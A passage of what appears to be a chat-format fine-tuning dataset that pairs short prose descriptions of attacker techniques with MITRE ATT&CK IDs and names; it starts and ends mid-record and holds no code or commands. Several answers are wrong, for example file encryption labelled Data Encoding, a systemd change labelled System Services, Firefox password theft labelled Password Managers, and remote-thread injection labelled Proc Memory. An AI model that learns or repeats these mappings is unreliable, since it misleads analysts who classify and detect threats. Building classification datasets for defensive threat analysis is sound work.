                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary writes a PowerShell script that modifies the user's profile to include a call to a remote payload, executing on profile load."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged a stolen web session cookie obtained from a phishing campaign to impersonate a legitimate user and perform actions on the target portal."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor distributes a malicious ISO image on a USB drive that, when mounted, installs a remote access tool on the target system."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By placing a malicious .dylib in a directory that precedes the legitimate library in the load order, the threat actor hijacks the execution flow of a macOS binary."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group performs keyword searches across open source project repositories for private SSH keys."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set installs a downgraded OS image, enabling execution of older malicious payloads that were previously detected."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary spawns a legitimate Windows process like svchost.exe and then injects malicious payload into its address space by overwriting its executable sections."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers forge Kerberos tickets using the Golden Ticket attack, allowing them to impersonate any domain user, including administrators."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary launches under the context of a known legitimate service, then the service process is terminated, leaving the malicious process orphaned but still listed under the service name."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sent HTTP GET requests to the cloud provider's metadata endpoint from within a compromised container to retrieve temporary access tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exploitation, the group removes all registry modifications used for persistence to avoid detection after reboot."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the PubPrn system script proxy execution technique to run a payload via the print subsystem."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker monitors Discord server messages looking for plain‑text credentials posted by users."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages a compromised function in Oracle Functions to establish a persistent reverse shell back to the command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intrusion modifies the domain's event log size settings to overwrite logs quickly."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged VNC over SSH to gain interactive sessions on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the exploitation stage, the actor installs a rootkit that hooks API functions to mask network traffic generated by the malware."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses automated scripts to scrape Bitbucket repositories for exposed database passwords."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code established a reverse SSH tunnel to a command-and-control server, allowing the attacker to issue commands from outside the victim's environment."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit abuses a zero‑day in the video conferencing software to initiate unauthorized video capture of meeting participants."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script contacts a web service that returns the public IP, storing it for use in establishing a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor injected a backdoor into a Node.js Lambda handler to maintain access."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through registry manipulation, the attacker sets the Debugger value for notepad.exe under Image File Execution Options, causing the backdoor to launch in place of Notepad."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing emails contain malicious attachments that, when opened, install a keylogger for credential capture."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script accessed the local certificate store, copied authentication certificates, and used them on a remote host."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "External actors compromised the server's control panel and edited the default index page to display a defacement banner demanding payment."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the authentication process by storing user credentials in a reversible encrypted format, enabling later decryption and reuse."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queried public certificate transparency logs to locate TLS certificates associated with the target organization."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a compromised Slack integration token to download attached files from shared channels and upload them to an external server."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses a credential‑harvesting tool to export entries from the KeePass password manager file."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor used the netstat command to list all active network connections on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compresses collected files and transmits them over the IRC-based C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder issues DNS queries for subdomains to identify hidden services on the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware compresses and encrypts files with AES-CBC, then encodes the ciphertext in Base64."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor exploits a leaked Azure AD tenant ID combined with a compromised admin password to create unauthorized applications."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performs direct block device reads to gather evidence of previous user activity before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the sdclt.exe auto-elevate feature, the malicious file is executed with elevated rights without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages valid credentials to log into a target host via RDP."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor alters the startup script of a cloud-hosted container, inserting malicious code that executes each time the container is launched."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors browse public exploit databases (e.g., Exploit-DB) to find exploits targeting specific outdated services."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the NTFS file system to erase the MOTW ZoneID, allowing execution of the trojan without user warnings."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary logs into a Windows domain controller using a stolen domain admin credential to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware is delivered as 'invoice.docx.jpg' which actually executes a hidden script."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a stolen admin credential to modify the CSS and HTML of the company's internal help site, inserting defacement content."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest Wi‑Fi passwords from the system's network configuration files."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using domain fronting, the attacker routes phishing command traffic through an Azure front‑door service, masking the malicious endpoint as a legitimate Azure domain."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the ELK stack API to pull and enumerate logs from Elasticsearch indices for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stolen corporate code-signing certificate, the attacker signs ransomware payloads to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a local file dump, gathering documents and credentials from the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deliver a malicious script that is compiled on the victim's machine to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hides a malicious configuration file by setting the hidden attribute and placing it in a non-standard system path."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker alters the stored data of a password manager file to insert a new account with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a malicious Office macro to call SharePoint web services and retrieve a list of privileged user accounts."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Creating a persistence mechanism on a compromised system using a scheduled task"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abused the System Binary Proxy Execution technique, specifically employing Control Panel (T1218.002) to launch a hidden PowerShell reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised container's cron daemon to repeatedly execute a privilege escalation script."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses the NetDom.exe /Domain command to list all domains that the compromised host trusts."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious MSBuild script is placed on the system and invoked to bypass application whitelisting, leading to DLL side‑loading of a remote code component."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a hidden file system subtree under a normally visible folder, naming it with a leading dot to keep it hidden on Unix‑like systems."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the post‑exploitation phase, the group creates a hidden system user with a SID that does not appear in usual account enumerations, ensuring it cannot be seen by standard account listing commands."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware updates the ExecStart parameter of a systemd unit file to start its command‑and‑control client on boot."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors gather routing tables via SSH access to routers, extracting route entries to understand the internal network paths."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deploy a trojan that accesses Firefox's saved password database to collect web service credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor runs a Python script that calls the Azure REST API to delete a scale set instance, effectively removing the compute resource."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group conducts a WHOIS lookup on the target's domain to discover registered owners and contact details."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accesses the Credential Manager vault via the Win32 API to collect saved network credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor writes malicious shellcode into the address space of a running process and creates a remote thread to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary conducts a Bluetooth man‑in‑the‑middle attack to capture and alter data exchanged between a workstation and a peripheral device."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators hijack an existing legitimate RDP session to bypass network restrictions and move laterally to other systems."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider copies employee login credentials from a shared password vault and transfers them to an external server."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code executes \"docker ps\" to enumerate running containers and gather their IDs and configurations."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses a credential‑replay attack to log into the target’s mail server and download inbox contents."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious kernel driver is placed in /etc/modules-load.d/ to be loaded automatically on system boot, enabling the attacker to persist."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a scenario where an adversary uses network exploitation to gain unauthorized access to sensitive areas of a network, provide the corresponding MITRE ATT&CK ID and Name."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor registers a custom stored procedure in a compromised MySQL server to launch a reverse shell back to the command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator injects false SIP signaling messages to redirect VoIP calls to an eavesdropping server."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
